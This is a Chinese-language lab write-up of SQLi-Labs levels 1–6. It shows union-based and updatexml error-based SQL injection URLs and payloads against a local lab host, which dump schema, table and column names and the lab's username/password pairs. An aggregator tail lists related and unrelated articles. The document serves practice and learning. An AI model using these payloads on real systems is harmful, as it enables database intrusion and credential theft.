SQL注入系列:SQLi Labs
前言
关于注释
说明:在SQL中--[空格]
表示注释,但是在URL中--空格
在发送请求的时候会把最后的空格去掉,所以用--+
代替,因为+
在被URL编码后会变成空格
MYSQL有三种常用注释:
--[空格]注释内容
#注释内容(url中使用23%)
/*注释内容*/
第一关
测试注入类型:
http://192.168.142.136/sqli/Less-1/?id=1'
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
http://192.168.142.136/sqli/Less-1/?id=1 and 1=1
返回正常
http://192.168.142.136/sqli/Less-1/?id=1' and 1=1--+
返回正常
http://192.168.142.136/sqli/Less-1/?id=1' and 1=2--+
返回异常,综上,字符型注入
http://192.168.142.136/sqli/Less-1/?id=1' order by 3--+
查询到有3个字段
http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select1,2,3--+
爆出显示位2,3
http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,concat(user(),database(),version()),3--+
http://192.168.142.136/sqli/Less-1/?id=1'and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
得到数据库security
的所有表名:emails,referers,uagents,users
192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
得到列名:id,username,password
192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,password) from security.users),3 --+
得到:
DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,adm
第二关
数字型注入
1、http://192.168.142.136/sqli/Less-2/?id=2 order by 3
2、http://192.168.142.136/sqli/Less-2/?id=2 and 1=2 union select 1,2,3
···
和上面一题基本一样,没啥说的了
第三关
http://192.168.142.136/sqli/Less-3/?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以看到是有括号的,那么构造就是
1、http://192.168.142.136/sqli/Less-3/?id=1') order by 3%23
2、http://192.168.142.136/sqli/Less-3/?id=22') union select 1,2,3%23
3、http://192.168.142.136/sqli/Less-3/?id=22') union select 1,concat(database(),version(),user()),3%23
···
后面也没啥说的了,就和第一关一样操作下来
第四关
加单引号不报错,双引号报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1
可以得到闭合方式为:("")
http://192.168.142.136/sqli/Less-4/?id=2") order by 3%23
和第三关差不多,不再赘述
第五关
这一关有些不同,没有显示位,没法使用联合注入去查询数据
加单引号报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
那么通过报错注入
利用函数updatexml()
函数
获取:user(),database(),version()
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
得到:XPATH syntax error: '~root@localhost~'
同样的获取:database(),version()
现在来获取数据库库名:
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)%23
得到:XPATH syntax error: '~information_schema~'
爆数据库表名:(可通过改变limit
的参数一个个输出,或者使用:group_concat函数)
' and updatexml(1,concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),1)%23
得到:XPATH syntax error: '~emails'
爆字段名:
' and updatexml(1,concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),1)%23
得到:XPATH syntax error: '~id'
爆数据:
' and updatexml(1,concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1)),1)%23
第六关
和第五关一样,不过是改了下闭合方式,加单引号不报错,加双引号报错
第七关
SQL注入系列:SQLi Labs的更多相关文章
- (其他)SQL注入(转)
转自维基百科: SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序,在这种应用程序中,恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者).[1] SQL注入必须利用应用程序软件 ...
- 依托http-headers的 sql注入和时间盲注
机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...
- SQL注入是什么?如何防止?
SQL注入是什么?如何防止? SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? ...
- DoraBox sql注入&文件上传
SQL注入 1.sqli数字型 判断是否存在注入点,执行1 and 1=1,有回显判断存在注入点 判断字段数,执行1 order by 3以及执行1 order by 4时报错,判断字段数为3 判断具 ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 【云盘资料】Sql注入从菜鸟到高手系列教程
[云盘资料]Sql注入从菜鸟到高手系列教程 ps:Sql注入从菜鸟到高手系列教程 链接:阅读原文获取资料:http://bbs.ichunqiu.com/thread-6851-1-1.html 反馈 ...
随机推荐
- Codeforces 842C--Ilya And The Tree(dfs+树)
原题链接:http://codeforces.com/contest/842/problem/C 题意:一个以1为根节点的树,每个节点有一个值ai,定义美丽度:从根节点到这个节点的路径上所有ai的gc ...
- dumpsys, traceView调试命令
1. dumpsys dumpsys cpuinfo: 打印cpu使用情况: dumpsys meminfo: 打印内存使用率情况: dumpsys activity: 打印所有活动的信息: dump ...
- windows平台使用MongoDB shell 来连接 MongoDB 服务器并创建数据库
windows平台使用MongoDB shell 来连接 MongoDB 服务器并创建数据库 命令行进入MongoDB的bin目录运行mongod.exe mongod --dbpath c:\dat ...
- DZY Loves Math
DZY Loves Math 对于正整数 $n$,定义 $f(n)$ 为 $n$ 所含质因子的最大幂指数. 例如 $f(1960)=f(2^3 * 5^1 * 7^2)=3, f(10007)=1, ...
- 二次封装dojo slider
上次的二次封装timeslider,挺有意思,又来封装一个dojo的,样式还是用arcgis的.实现更多功能,包括HorizontalSlider和VerticalSlider, 刻度的显示隐藏,标签 ...
- SPRING CLOUD微服务DEMO-下篇
目录 1 Hystix 1.1 简介 1.2 配置并测试 2. Feign 2.1 简介 2.2 使用Feign 2.3 负载均衡 2.4 Hystrix支持 2.5.请求压缩 3. Zuul网关 3 ...
- 自定义实现字符串string的接口
用char*管理String类的内存,new动态分配,在析构函数中delete char*指向的new出来的内存,一个string类需要实现那些接口可参考标准库里的string: http://ww ...
- Python笔记(四)_字符串的方法
字符串的方法 []表示该参数时可选的,start和end参数表示范围 count(sub[, start[, end]]) 返回sub在字符串里边出现的次数 find(sub[, start[, en ...
- 三种JavaScript 消息框
prompt 提示框 <html><head><script type="text/javascript">function disp_prom ...
- js的浏览器判断方法
使用navigator.userAgent来判断浏览器类型. 1.浏览器版本号函数: var br=navigator.userAgent.toLowerCase(); var browserVe ...